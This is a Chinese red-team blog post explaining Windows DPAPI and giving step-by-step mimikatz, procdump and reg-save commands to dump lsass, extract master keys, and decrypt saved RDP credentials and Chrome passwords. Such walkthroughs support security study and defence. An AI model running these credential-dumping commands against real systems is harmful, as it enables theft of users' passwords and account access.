✨ 十年磨一剑,一出天下寒 ✨
要想成为强者,就不要回避心里的恐惧,恐惧并不是弱点。强者,是要让你的敌人比你更恐惧 [剑圣盖聂]
Dpapi释疑
当红队进行攻击的时候,对攻击目标的信息收集是很重要的。内网信息收集的时候离不开对于存储凭据和敏感信息的收集,那就离不开DPAPI这个数据保护接口,当你在 Outlook、Chrome或 Internet 浏览器中保存密码时,DPAPI 和 Windows 会保护您的数据。
DPAPI(Data Protection Application Programming Interface)是一个简单的加密应用程序编程接口,可作为Windows 2000和更高版本Microsoft Windows 操作系统中的内置组件使用。其在Windows操作系统中的主要用途是执行非对称私钥的对称加密。
Dpapi能保护什么
-
Internet Explorer、Google *Chrome 中的密码和表单自动完成数据
-
Outlook、Windows Mail、Windows Mail 等中的电子邮件帐户密码
-
FTP 管理员帐户密码
-
共享文件夹资源访问密码
-
无线网络帐户密钥密码
-
远程桌面连接密码
-
Windows CardSpace 和 Windows Vault 中的加密密钥
-
用于加密文件系统 (EFS)、加密邮件 S-MIME、其他用户的证书、Internet 信息服务中的 SSL/TLS 的私钥
-
EAP/TLS 和 802.1x(VPN 和 WiFi 身份验证)
-
凭据管理器中的网络密码
-
使用 API 函数 CryptProtectData 以编程方式保护的任何应用程序中的个人数据。例如,在 Skype、Windows 权限管理服务、Windows Media、MSN 信使、Google Talk 等
Dpapi加密流程
DPAPI主要用两个函数CryptProtectData和CryptUnprotectData
Dpapi blob
一段密文,可使用 Master Key 对其解密
Master key
64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
Master key files
经用户密码加密Master key 后保存Master key的二进制文件
包含以下五个部分
file分为用户和系统两种:
用户Master Key file,位于
%APPDATA%MicrosoftProtect%SID%
注:[Preferred文件显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期]
系统Master Key file,位于
%WINDIR%System32MicrosoftProtectS-1-5-18User
[注:S-1-5-18是SYSTEM账户的SID]
Master key file解密
使用mimikatz对其进行解密,读取用户的mastermaster
mimikatz.exe log "dpapi::masterkey /in:"da3c7e9f-4a62-4271-b720-f93038722e7a"
上图只有结构体,没有master key ,需要传入密码或者hash
获取注册表hiv备份文件
管理员权限运行命令
reg save HKLMSYSTEM SystemBkup.hiv
reg save HKLMSECURITY SECURITY.hiv
mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
上面主要是从注册表获取hash
hash:406a7f83c1e5916130a95fe3a9639febda9fea93
之后使用hash解密master key file
dpapi::masterkey /in:C:WindowsSystem32MicrosoftProtectS-1-5-18User3aa38165-5e35-48f1-94a1-6e5c04cba238 /system:406a7f83c1e5916130a95fe3a9639febda9fea93
Master key 解密获取
获取lsass.dmp离线解密master key
procdump.exe -accepteula -ma lsass.exe lsass.dmp
【注意:需要管理员权限】
之后使用mimikatz进行导入解密就好
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
上面通过master key file 凭证解密,还可以通过在线dump lsass的方法获取内存中的所有MasterKey
privilege::debug
sekurlsa::dpapi
Master key利用流程
利用流程大概需要两部分,一部分是凭证、一部分是master key
Master key 利用-获取RDP凭证
查看远程链接记录
reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /s
cmdkey /list
获取RDP凭证文件【注:和masterkey file不是一个东西】
Windows保存RDP凭据的目录是
C:Users用户名AppDataLocalMicrosoftCredentials
上面只有一个经过测试发现,默认这个是系统的,我用masterkey解出来莫的什么用,如下图
这个凭据只有在远程连接的时候保存凭证才会有新的
之后就有了
61EB1A这个就是,接下来使用如下命令,主要看的就是 guidMasterKey【注:这个 guidMasterKey大概意思其实就是masterkey的编号,方便对应寻找key;pdData就是要解密的数据】
dpapi::cred/in:C:UsersjulietAppDataLocalMicrosoftCredentials61EB1ABB382AF756971C8233126E62C3
接下来在线dump 出master key
privilege::debug
sekurlsa::dpapi
之后使用master key解密
dpapi::cred /in:C:UsersjulietAppDataLocalMicrosoftCredentials61EB1ABB382AF756971C8233126E62C3 /masterkey:8cd338ac......
简Master key利用-获取Chrome密码
1.获取Chrome保存的凭证文件 LoginData文件路径
localappdata%GoogleChromeUser DataDefaultLogin Data
文件需要用SQLiteStudio打开
mimikatz 在线解密
dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultLogin Data" /unprotect
域环境情况下的...以后再说吧,就这样了...
参考
https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b1072
https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/
https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
年纪还小,别把永远挂在嘴边
本文始发于微信公众号(SECURITY CLUB):北京红星二锅头之Dpapi释疑
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论